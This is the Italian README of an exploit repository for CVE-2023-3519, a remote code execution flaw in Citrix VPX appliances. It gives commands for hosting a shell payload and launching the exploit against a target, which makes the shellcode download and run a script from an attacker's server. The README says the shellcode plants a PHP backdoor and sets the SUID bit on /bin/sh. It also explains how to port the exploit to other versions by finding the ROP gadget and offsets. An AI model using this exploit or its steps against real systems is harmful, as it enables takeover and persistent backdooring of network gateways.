
Exploit RCE per CVE-2023-3519
Questo exploit utilizza indirizzi e shellcode per Citrix VPX 13.1-48.47. Per l'analisi completa, clicca qui.
NASM è necessario per compilare lo shellcode.
$ sudo apt install nasm
Lo shellcode incluso scaricherà ed eseguirà uno script shell da un server http(s) remoto. Lo script accetta 3 argomenti: l'host di destinazione, la porta di destinazione e l'URL di un payload di script shell. Un payload di esempio che esegue id e uname -a prima di pulirsi da solo è incluso in questo repository.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
L'URL deve essere abbastanza corto da entrare nel buffer dello shellcode, e riceverai un avviso se è troppo lungo.
Lo shellcode creerà una backdoor PHP in /var/netscaler/logon/a.php e imposterà il bit SUID su /bin/sh. Il payload sh incluso mostra un esempio di pulizia automatica di questi artefatti. Si noti inoltre che lo shellcode non chiude i suoi descrittori di file, quindi uno sfruttamento eccessivo e ripetuto può portare all'esaurimento delle risorse.
Per i target Citrix basati su FreeBSD, dovresti trovare solo 3 valori: l'offset del puntatore di ritorno salvato, un gadget ROP jmp rsp (o qualcosa di equivalente, come push rsp; ret;), e l'indirizzo a cui saltare per evitare un crash. Questi parametri sono tutti hardcoded vicino all'inizio di cve-2023-3519.py. Per certe versioni potresti anche aver bisogno di trovare un quarto valore per correggere il valore di RBP, poiché il compilatore genera caricamenti relativi a RBP invece di usare istruzioni POP per ripristinare i registri salvati.